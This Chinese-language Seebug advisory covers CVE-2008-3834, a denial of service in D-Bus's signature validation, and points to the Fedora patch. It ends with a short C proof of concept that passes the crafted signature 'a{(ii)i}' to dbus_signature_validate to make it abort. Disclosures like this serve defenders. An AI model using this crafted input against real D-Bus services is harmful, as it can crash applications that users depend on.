D-Bus dbus_signature_validate()类型签名拒绝服务漏洞

2008-10-10T00:00:00
ID SSV:4192
Type seebug
Reporter Root
Modified 2008-10-10T00:00:00

Description

BUGTRAQ ID: 31602 CVE(CAN) ID: CVE-2008-3834

D-BUS是一个设计目标为应用程序间通信的消息总线系统。

D-BUS的_dbus_validate_signature_with_reason()函数没有正确地验证类型代码:

  if (last == DBUS_DICT_ENTRY_BEGIN_CHAR &&
      !dbus_type_is_basic (*p))
    {
      result = DBUS_INVALID_DICT_KEY_MUST_BE_BASIC_TYPE;
      goto out;
    }

如果使用D-Bus的应用受骗验证了特制的签名的话,就可能会终止。

D-Bus 1.2.1 D-Bus


目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

<a href=http://admin.fedoraproject.org/updates/dbus-1.2.4-1.fc9 target=_blank>http://admin.fedoraproject.org/updates/dbus-1.2.4-1.fc9</a>

                                        
                                            
                                                #include &lt;dbus/dbus.h&gt;

int main ()
{
   return !dbus_signature_validate(&quot;a{(ii)i}&quot;, NULL);
}